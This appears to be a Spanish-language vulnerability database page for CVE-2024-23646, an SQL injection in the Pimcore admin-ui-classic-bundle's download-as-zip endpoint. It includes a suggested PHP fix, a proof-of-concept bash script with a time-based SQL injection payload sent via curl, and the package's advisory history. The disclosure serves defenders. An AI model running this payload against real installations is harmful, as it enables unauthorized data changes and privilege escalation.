Alta

SQL Injection in Admin download files as zip

Publicada: 24.01.2024
Actualizado: 11.10.2026 10:22

Summary

The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.

Details

downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added:

php

  foreach ($selectedIds as $selectedId) {
      if ($selectedId) {
          $quotedSelectedIds[] = $db->quote($selectedId);
      }
  }

PoC

Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)
Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie.
Run the following script, substituting the values accordingly:

bash

#!/bin/bash
BASE_URL=http://localhost # REPLACE THIS!
CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS!
COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS!
SQL="(select*from(select(sleep(6)))a)"

curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \
    -X GET \
    -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
    -H "Cookie: ${COOKIE}" `

The response is delayed by 6 seconds.

Impact

Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Paquete de Composer	pimcore/admin-ui-classic-bundle	>= 1.0.0, < 1.3.2	1.3.2

Referencias

Puntuación CVSS 8.8/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE): CWE-89
Plataforma: Composer
Paquete: pimcore/admin-ui-classic-bundle
Publicada: 24.01.2024
Actualizado: 11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-cwx6-4wmf-c6xv - CC BY 4.0

Historial de vulnerabilidades: pimcore/admin-ui-classic-bundle

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (17) en el archivo

Entradas en total: 17
Primera → última: 07.2023 05.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Alta 6
Media 10
Baja 1

Divulgaciones por año

2023: 6
2024: 7
2025: 2
2026: 2

27.05.2026

Pimcore Admin Classic Bundle Vulnerable to SQL Injection in Translation Grid Date Filter via Unsanitized Property Parameter

Alta · 8.8 CVE-2026-44741 >= 2.0.0-RC1, < 2.3.6, < 1.7.18 2.3.6, 1.7.18
03.09.2024

Pimcore includes vulnerable PHPOffice/PhpSpreadsheet

Alta · 8.8 ghsa-hq76-662x-7mw4 < 1.3.11, >= 1.4.0, < 1.4.7, >= 1.5.0, < 1.5.4 1.3.11, 1.4.7, 1.5.4
20.02.2024

Pimcore Host Header Injection in user invitation link

Alta · 8.1 CVE-2024-25625 < 1.3.4 1.3.4
24.01.2024

Host header injection in the password reset

Alta · 8.8 CVE-2024-23648 < 1.2.3 1.2.3
24.01.2024

SQL Injection in Admin download files as zip esta entrada

Alta · 8.8 CVE-2024-23646 >= 1.0.0, < 1.3.2 1.3.2
27.11.2023

Pimcore Admin UI has Two Factor Authentication disabled for non admin security firewalls

Alta · 8.4 CVE-2023-49075 < 1.2.2 1.2.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación